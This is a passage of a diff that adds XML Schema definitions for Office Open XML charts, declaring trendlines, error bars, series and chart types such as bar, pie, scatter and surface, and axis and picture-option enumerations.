maxOccurs="1"/> + <xsd:element name="txPr" type="a:CT_TextBody" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Trendline"> + <xsd:sequence> + <xsd:element name="name" type="xsd:string" minOccurs="0" maxOccurs="1"/> + <xsd:element name="spPr" type="a:CT_ShapeProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="trendlineType" type="CT_TrendlineType" minOccurs="1" maxOccurs="1"/> + <xsd:element name="order" type="CT_Order" minOccurs="0" maxOccurs="1"/> + <xsd:element name="period" type="CT_Period" minOccurs="0" maxOccurs="1"/> + <xsd:element name="forward" type="CT_Double" minOccurs="0" maxOccurs="1"/> + <xsd:element name="backward" type="CT_Double" minOccurs="0" maxOccurs="1"/> + <xsd:element name="intercept" type="CT_Double" minOccurs="0" maxOccurs="1"/> + <xsd:element name="dispRSqr" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="dispEq" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="trendlineLbl" type="CT_TrendlineLbl" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_ErrDir"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="x"/> + <xsd:enumeration value="y"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_ErrDir"> + <xsd:attribute name="val" type="ST_ErrDir" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_ErrBarType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="both"/> + <xsd:enumeration value="minus"/> + <xsd:enumeration value="plus"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_ErrBarType"> + <xsd:attribute name="val" type="ST_ErrBarType" default="both"/> + </xsd:complexType> + <xsd:simpleType name="ST_ErrValType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="cust"/> + <xsd:enumeration value="fixedVal"/> + <xsd:enumeration value="percentage"/> + <xsd:enumeration value="stdDev"/> + <xsd:enumeration value="stdErr"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_ErrValType"> + <xsd:attribute name="val" type="ST_ErrValType" default="fixedVal"/> + </xsd:complexType> + <xsd:complexType name="CT_ErrBars"> + <xsd:sequence> + <xsd:element name="errDir" type="CT_ErrDir" minOccurs="0" maxOccurs="1"/> + <xsd:element name="errBarType" type="CT_ErrBarType" minOccurs="1" maxOccurs="1"/> + <xsd:element name="errValType" type="CT_ErrValType" minOccurs="1" maxOccurs="1"/> + <xsd:element name="noEndCap" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="plus" type="CT_NumDataSource" minOccurs="0" maxOccurs="1"/> + <xsd:element name="minus" type="CT_NumDataSource" minOccurs="0" maxOccurs="1"/> + <xsd:element name="val" type="CT_Double" minOccurs="0" maxOccurs="1"/> + <xsd:element name="spPr" type="a:CT_ShapeProperties" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_UpDownBar"> + <xsd:sequence> + <xsd:element name="spPr" type="a:CT_ShapeProperties" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_UpDownBars"> + <xsd:sequence> + <xsd:element name="gapWidth" type="CT_GapAmount" minOccurs="0" maxOccurs="1"/> + <xsd:element name="upBars" type="CT_UpDownBar" minOccurs="0" maxOccurs="1"/> + <xsd:element name="downBars" type="CT_UpDownBar" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:group name="EG_SerShared"> + <xsd:sequence> + <xsd:element name="idx" type="CT_UnsignedInt" minOccurs="1" maxOccurs="1"/> + <xsd:element name="order" type="CT_UnsignedInt" minOccurs="1" maxOccurs="1"/> + <xsd:element name="tx" type="CT_SerTx" minOccurs="0" maxOccurs="1"/> + <xsd:element name="spPr" type="a:CT_ShapeProperties" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:group> + <xsd:complexType name="CT_LineSer"> + <xsd:sequence> + <xsd:group ref="EG_SerShared" minOccurs="1" maxOccurs="1"/> + <xsd:element name="marker" type="CT_Marker" minOccurs="0" maxOccurs="1"/> + <xsd:element name="dPt" type="CT_DPt" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="dLbls" type="CT_DLbls" minOccurs="0" maxOccurs="1"/> + <xsd:element name="trendline" type="CT_Trendline" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="errBars" type="CT_ErrBars" minOccurs="0" maxOccurs="1"/> + <xsd:element name="cat" type="CT_AxDataSource" minOccurs="0" maxOccurs="1"/> + <xsd:element name="val" type="CT_NumDataSource" minOccurs="0" maxOccurs="1"/> + <xsd:element name="smooth" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_ScatterSer"> + <xsd:sequence> + <xsd:group ref="EG_SerShared" minOccurs="1" maxOccurs="1"/> + <xsd:element name="marker" type="CT_Marker" minOccurs="0" maxOccurs="1"/> + <xsd:element name="dPt" type="CT_DPt" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="dLbls" type="CT_DLbls" minOccurs="0" maxOccurs="1"/> + <xsd:element name="trendline" type="CT_Trendline" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="errBars" type="CT_ErrBars" minOccurs="0" maxOccurs="2"/> + <xsd:element name="xVal" type="CT_AxDataSource" minOccurs="0" maxOccurs="1"/> + <xsd:element name="yVal" type="CT_NumDataSource" minOccurs="0" maxOccurs="1"/> + <xsd:element name="smooth" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_RadarSer"> + <xsd:sequence> + <xsd:group ref="EG_SerShared" minOccurs="1" maxOccurs="1"/> + <xsd:element name="marker" type="CT_Marker" minOccurs="0" maxOccurs="1"/> + <xsd:element name="dPt" type="CT_DPt" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="dLbls" type="CT_DLbls" minOccurs="0" maxOccurs="1"/> + <xsd:element name="cat" type="CT_AxDataSource" minOccurs="0" maxOccurs="1"/> + <xsd:element name="val" type="CT_NumDataSource" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_BarSer"> + <xsd:sequence> + <xsd:group ref="EG_SerShared" minOccurs="1" maxOccurs="1"/> + <xsd:element name="invertIfNegative" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="pictureOptions" type="CT_PictureOptions" minOccurs="0" maxOccurs="1"/> + <xsd:element name="dPt" type="CT_DPt" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="dLbls" type="CT_DLbls" minOccurs="0" maxOccurs="1"/> + <xsd:element name="trendline" type="CT_Trendline" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="errBars" type="CT_ErrBars" minOccurs="0" maxOccurs="1"/> + <xsd:element name="cat" type="CT_AxDataSource" minOccurs="0" maxOccurs="1"/> + <xsd:element name="val" type="CT_NumDataSource" minOccurs="0" maxOccurs="1"/> + <xsd:element name="shape" type="CT_Shape" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_AreaSer"> + <xsd:sequence> + <xsd:group ref="EG_SerShared" minOccurs="1" maxOccurs="1"/> + <xsd:element name="pictureOptions" type="CT_PictureOptions" minOccurs="0" maxOccurs="1"/> + <xsd:element name="dPt" type="CT_DPt" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="dLbls" type="CT_DLbls" minOccurs="0" maxOccurs="1"/> + <xsd:element name="trendline" type="CT_Trendline" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="errBars" type="CT_ErrBars" minOccurs="0" maxOccurs="2"/> + <xsd:element name="cat" type="CT_AxDataSource" minOccurs="0" maxOccurs="1"/> + <xsd:element name="val" type="CT_NumDataSource" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_PieSer"> + <xsd:sequence> + <xsd:group ref="EG_SerShared" minOccurs="1" maxOccurs="1"/> + <xsd:element name="explosion" type="CT_UnsignedInt" minOccurs="0" maxOccurs="1"/> + <xsd:element name="dPt" type="CT_DPt" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="dLbls" type="CT_DLbls" minOccurs="0" maxOccurs="1"/> + <xsd:element name="cat" type="CT_AxDataSource" minOccurs="0" maxOccurs="1"/> + <xsd:element name="val" type="CT_NumDataSource" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_BubbleSer"> + <xsd:sequence> + <xsd:group ref="EG_SerShared" minOccurs="1" maxOccurs="1"/> + <xsd:element name="invertIfNegative" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="dPt" type="CT_DPt" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="dLbls" type="CT_DLbls" minOccurs="0" maxOccurs="1"/> + <xsd:element name="trendline" type="CT_Trendline" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="errBars" type="CT_ErrBars" minOccurs="0" maxOccurs="2"/> + <xsd:element name="xVal" type="CT_AxDataSource" minOccurs="0" maxOccurs="1"/> + <xsd:element name="yVal" type="CT_NumDataSource" minOccurs="0" maxOccurs="1"/> + <xsd:element name="bubbleSize" type="CT_NumDataSource" minOccurs="0" maxOccurs="1"/> + <xsd:element name="bubble3D" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_SurfaceSer"> + <xsd:sequence> + <xsd:group ref="EG_SerShared" minOccurs="1" maxOccurs="1"/> + <xsd:element name="cat" type="CT_AxDataSource" minOccurs="0" maxOccurs="1"/> + <xsd:element name="val" type="CT_NumDataSource" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_Grouping"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="percentStacked"/> + <xsd:enumeration value="standard"/> + <xsd:enumeration value="stacked"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Grouping"> + <xsd:attribute name="val" type="ST_Grouping" default="standard"/> + </xsd:complexType> + <xsd:complexType name="CT_ChartLines"> + <xsd:sequence> + <xsd:element name="spPr" type="a:CT_ShapeProperties" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:group name="EG_LineChartShared"> + <xsd:sequence> + <xsd:element name="grouping" type="CT_Grouping" minOccurs="1" maxOccurs="1"/> + <xsd:element name="varyColors" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="ser" type="CT_LineSer" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="dLbls" type="CT_DLbls" minOccurs="0" maxOccurs="1"/> + <xsd:element name="dropLines" type="CT_ChartLines" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:group> + <xsd:complexType name="CT_LineChart"> + <xsd:sequence> + <xsd:group ref="EG_LineChartShared" minOccurs="1" maxOccurs="1"/> + <xsd:element name="hiLowLines" type="CT_ChartLines" minOccurs="0" maxOccurs="1"/> + <xsd:element name="upDownBars" type="CT_UpDownBars" minOccurs="0" maxOccurs="1"/> + <xsd:element name="marker" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="smooth" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="axId" type="CT_UnsignedInt" minOccurs="2" maxOccurs="2"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Line3DChart"> + <xsd:sequence> + <xsd:group ref="EG_LineChartShared" minOccurs="1" maxOccurs="1"/> + <xsd:element name="gapDepth" type="CT_GapAmount" minOccurs="0" maxOccurs="1"/> + <xsd:element name="axId" type="CT_UnsignedInt" minOccurs="3" maxOccurs="3"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_StockChart"> + <xsd:sequence> + <xsd:element name="ser" type="CT_LineSer" minOccurs="3" maxOccurs="4"/> + <xsd:element name="dLbls" type="CT_DLbls" minOccurs="0" maxOccurs="1"/> + <xsd:element name="dropLines" type="CT_ChartLines" minOccurs="0" maxOccurs="1"/> + <xsd:element name="hiLowLines" type="CT_ChartLines" minOccurs="0" maxOccurs="1"/> + <xsd:element name="upDownBars" type="CT_UpDownBars" minOccurs="0" maxOccurs="1"/> + <xsd:element name="axId" type="CT_UnsignedInt" minOccurs="2" maxOccurs="2"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_ScatterStyle"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="line"/> + <xsd:enumeration value="lineMarker"/> + <xsd:enumeration value="marker"/> + <xsd:enumeration value="smooth"/> + <xsd:enumeration value="smoothMarker"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_ScatterStyle"> + <xsd:attribute name="val" type="ST_ScatterStyle" default="marker"/> + </xsd:complexType> + <xsd:complexType name="CT_ScatterChart"> + <xsd:sequence> + <xsd:element name="scatterStyle" type="CT_ScatterStyle" minOccurs="1" maxOccurs="1"/> + <xsd:element name="varyColors" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="ser" type="CT_ScatterSer" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="dLbls" type="CT_DLbls" minOccurs="0" maxOccurs="1"/> + <xsd:element name="axId" type="CT_UnsignedInt" minOccurs="2" maxOccurs="2"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_RadarStyle"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="standard"/> + <xsd:enumeration value="marker"/> + <xsd:enumeration value="filled"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_RadarStyle"> + <xsd:attribute name="val" type="ST_RadarStyle" default="standard"/> + </xsd:complexType> + <xsd:complexType name="CT_RadarChart"> + <xsd:sequence> + <xsd:element name="radarStyle" type="CT_RadarStyle" minOccurs="1" maxOccurs="1"/> + <xsd:element name="varyColors" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="ser" type="CT_RadarSer" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="dLbls" type="CT_DLbls" minOccurs="0" maxOccurs="1"/> + <xsd:element name="axId" type="CT_UnsignedInt" minOccurs="2" maxOccurs="2"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_BarGrouping"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="percentStacked"/> + <xsd:enumeration value="clustered"/> + <xsd:enumeration value="standard"/> + <xsd:enumeration value="stacked"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_BarGrouping"> + <xsd:attribute name="val" type="ST_BarGrouping" default="clustered"/> + </xsd:complexType> + <xsd:simpleType name="ST_BarDir"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="bar"/> + <xsd:enumeration value="col"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_BarDir"> + <xsd:attribute name="val" type="ST_BarDir" default="col"/> + </xsd:complexType> + <xsd:simpleType name="ST_Shape"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="cone"/> + <xsd:enumeration value="coneToMax"/> + <xsd:enumeration value="box"/> + <xsd:enumeration value="cylinder"/> + <xsd:enumeration value="pyramid"/> + <xsd:enumeration value="pyramidToMax"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Shape"> + <xsd:attribute name="val" type="ST_Shape" default="box"/> + </xsd:complexType> + <xsd:group name="EG_BarChartShared"> + <xsd:sequence> + <xsd:element name="barDir" type="CT_BarDir" minOccurs="1" maxOccurs="1"/> + <xsd:element name="grouping" type="CT_BarGrouping" minOccurs="0" maxOccurs="1"/> + <xsd:element name="varyColors" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="ser" type="CT_BarSer" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="dLbls" type="CT_DLbls" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:group> + <xsd:complexType name="CT_BarChart"> + <xsd:sequence> + <xsd:group ref="EG_BarChartShared" minOccurs="1" maxOccurs="1"/> + <xsd:element name="gapWidth" type="CT_GapAmount" minOccurs="0" maxOccurs="1"/> + <xsd:element name="overlap" type="CT_Overlap" minOccurs="0" maxOccurs="1"/> + <xsd:element name="serLines" type="CT_ChartLines" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="axId" type="CT_UnsignedInt" minOccurs="2" maxOccurs="2"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Bar3DChart"> + <xsd:sequence> + <xsd:group ref="EG_BarChartShared" minOccurs="1" maxOccurs="1"/> + <xsd:element name="gapWidth" type="CT_GapAmount" minOccurs="0" maxOccurs="1"/> + <xsd:element name="gapDepth" type="CT_GapAmount" minOccurs="0" maxOccurs="1"/> + <xsd:element name="shape" type="CT_Shape" minOccurs="0" maxOccurs="1"/> + <xsd:element name="axId" type="CT_UnsignedInt" minOccurs="2" maxOccurs="3"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:group name="EG_AreaChartShared"> + <xsd:sequence> + <xsd:element name="grouping" type="CT_Grouping" minOccurs="0" maxOccurs="1"/> + <xsd:element name="varyColors" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="ser" type="CT_AreaSer" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="dLbls" type="CT_DLbls" minOccurs="0" maxOccurs="1"/> + <xsd:element name="dropLines" type="CT_ChartLines" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:group> + <xsd:complexType name="CT_AreaChart"> + <xsd:sequence> + <xsd:group ref="EG_AreaChartShared" minOccurs="1" maxOccurs="1"/> + <xsd:element name="axId" type="CT_UnsignedInt" minOccurs="2" maxOccurs="2"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Area3DChart"> + <xsd:sequence> + <xsd:group ref="EG_AreaChartShared" minOccurs="1" maxOccurs="1"/> + <xsd:element name="gapDepth" type="CT_GapAmount" minOccurs="0" maxOccurs="1"/> + <xsd:element name="axId" type="CT_UnsignedInt" minOccurs="2" maxOccurs="3"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:group name="EG_PieChartShared"> + <xsd:sequence> + <xsd:element name="varyColors" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="ser" type="CT_PieSer" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="dLbls" type="CT_DLbls" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:group> + <xsd:complexType name="CT_PieChart"> + <xsd:sequence> + <xsd:group ref="EG_PieChartShared" minOccurs="1" maxOccurs="1"/> + <xsd:element name="firstSliceAng" type="CT_FirstSliceAng" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Pie3DChart"> + <xsd:sequence> + <xsd:group ref="EG_PieChartShared" minOccurs="1" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_DoughnutChart"> + <xsd:sequence> + <xsd:group ref="EG_PieChartShared" minOccurs="1" maxOccurs="1"/> + <xsd:element name="firstSliceAng" type="CT_FirstSliceAng" minOccurs="0" maxOccurs="1"/> + <xsd:element name="holeSize" type="CT_HoleSize" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_OfPieType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="pie"/> + <xsd:enumeration value="bar"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_OfPieType"> + <xsd:attribute name="val" type="ST_OfPieType" default="pie"/> + </xsd:complexType> + <xsd:complexType name="CT_OfPieChart"> + <xsd:sequence> + <xsd:element name="ofPieType" type="CT_OfPieType" minOccurs="1" maxOccurs="1"/> + <xsd:group ref="EG_PieChartShared" minOccurs="1" maxOccurs="1"/> + <xsd:element name="gapWidth" type="CT_GapAmount" minOccurs="0" maxOccurs="1"/> + <xsd:element name="splitType" type="CT_SplitType" minOccurs="0" maxOccurs="1"/> + <xsd:element name="splitPos" type="CT_Double" minOccurs="0" maxOccurs="1"/> + <xsd:element name="custSplit" type="CT_CustSplit" minOccurs="0" maxOccurs="1"/> + <xsd:element name="secondPieSize" type="CT_SecondPieSize" minOccurs="0" maxOccurs="1"/> + <xsd:element name="serLines" type="CT_ChartLines" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_BubbleChart"> + <xsd:sequence> + <xsd:element name="varyColors" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="ser" type="CT_BubbleSer" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="dLbls" type="CT_DLbls" minOccurs="0" maxOccurs="1"/> + <xsd:element name="bubble3D" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="bubbleScale" type="CT_BubbleScale" minOccurs="0" maxOccurs="1"/> + <xsd:element name="showNegBubbles" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="sizeRepresents" type="CT_SizeRepresents" minOccurs="0" maxOccurs="1"/> + <xsd:element name="axId" type="CT_UnsignedInt" minOccurs="2" maxOccurs="2"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_BandFmt"> + <xsd:sequence> + <xsd:element name="idx" type="CT_UnsignedInt" minOccurs="1" maxOccurs="1"/> + <xsd:element name="spPr" type="a:CT_ShapeProperties" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_BandFmts"> + <xsd:sequence> + <xsd:element name="bandFmt" type="CT_BandFmt" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:group name="EG_SurfaceChartShared"> + <xsd:sequence> + <xsd:element name="wireframe" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="ser" type="CT_SurfaceSer" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="bandFmts" type="CT_BandFmts" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:group> + <xsd:complexType name="CT_SurfaceChart"> + <xsd:sequence> + <xsd:group ref="EG_SurfaceChartShared" minOccurs="1" maxOccurs="1"/> + <xsd:element name="axId" type="CT_UnsignedInt" minOccurs="2" maxOccurs="3"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Surface3DChart"> + <xsd:sequence> + <xsd:group ref="EG_SurfaceChartShared" minOccurs="1" maxOccurs="1"/> + <xsd:element name="axId" type="CT_UnsignedInt" minOccurs="3" maxOccurs="3"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:simpleType name="ST_AxPos"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="b"/> + <xsd:enumeration value="l"/> + <xsd:enumeration value="r"/> + <xsd:enumeration value="t"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_AxPos"> + <xsd:attribute name="val" type="ST_AxPos" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_Crosses"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="autoZero"/> + <xsd:enumeration value="max"/> + <xsd:enumeration value="min"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Crosses"> + <xsd:attribute name="val" type="ST_Crosses" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_CrossBetween"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="between"/> + <xsd:enumeration value="midCat"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_CrossBetween"> + <xsd:attribute name="val" type="ST_CrossBetween" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_TickMark"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="cross"/> + <xsd:enumeration value="in"/> + <xsd:enumeration value="none"/> + <xsd:enumeration value="out"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TickMark"> + <xsd:attribute name="val" type="ST_TickMark" default="cross"/> + </xsd:complexType> + <xsd:simpleType name="ST_TickLblPos"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="high"/> + <xsd:enumeration value="low"/> + <xsd:enumeration value="nextTo"/> + <xsd:enumeration value="none"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TickLblPos"> + <xsd:attribute name="val" type="ST_TickLblPos" default="nextTo"/> + </xsd:complexType> + <xsd:simpleType name="ST_Skip"> + <xsd:restriction base="xsd:unsignedInt"> + <xsd:minInclusive value="1"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_Skip"> + <xsd:attribute name="val" type="ST_Skip" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_TimeUnit"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="days"/> + <xsd:enumeration value="months"/> + <xsd:enumeration value="years"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_TimeUnit"> + <xsd:attribute name="val" type="ST_TimeUnit" default="days"/> + </xsd:complexType> + <xsd:simpleType name="ST_AxisUnit"> + <xsd:restriction base="xsd:double"> + <xsd:minExclusive value="0"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_AxisUnit"> + <xsd:attribute name="val" type="ST_AxisUnit" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_BuiltInUnit"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="hundreds"/> + <xsd:enumeration value="thousands"/> + <xsd:enumeration value="tenThousands"/> + <xsd:enumeration value="hundredThousands"/> + <xsd:enumeration value="millions"/> + <xsd:enumeration value="tenMillions"/> + <xsd:enumeration value="hundredMillions"/> + <xsd:enumeration value="billions"/> + <xsd:enumeration value="trillions"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_BuiltInUnit"> + <xsd:attribute name="val" type="ST_BuiltInUnit" default="thousands"/> + </xsd:complexType> + <xsd:simpleType name="ST_PictureFormat"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="stretch"/> + <xsd:enumeration value="stack"/> + <xsd:enumeration value="stackScale"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_PictureFormat"> + <xsd:attribute name="val" type="ST_PictureFormat" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_PictureStackUnit"> + <xsd:restriction base="xsd:double"> + <xsd:minExclusive value="0"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_PictureStackUnit"> + <xsd:attribute name="val" type="ST_PictureStackUnit" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_PictureOptions"> + <xsd:sequence> + <xsd:element name="applyToFront" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="applyToSides" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="applyToEnd" type="CT_Boolean" minOccurs="0" maxOccurs="1"/> + <xsd:element name="pictureFormat" type="CT_PictureFormat" minOccurs="0" maxOccurs="1"/> + 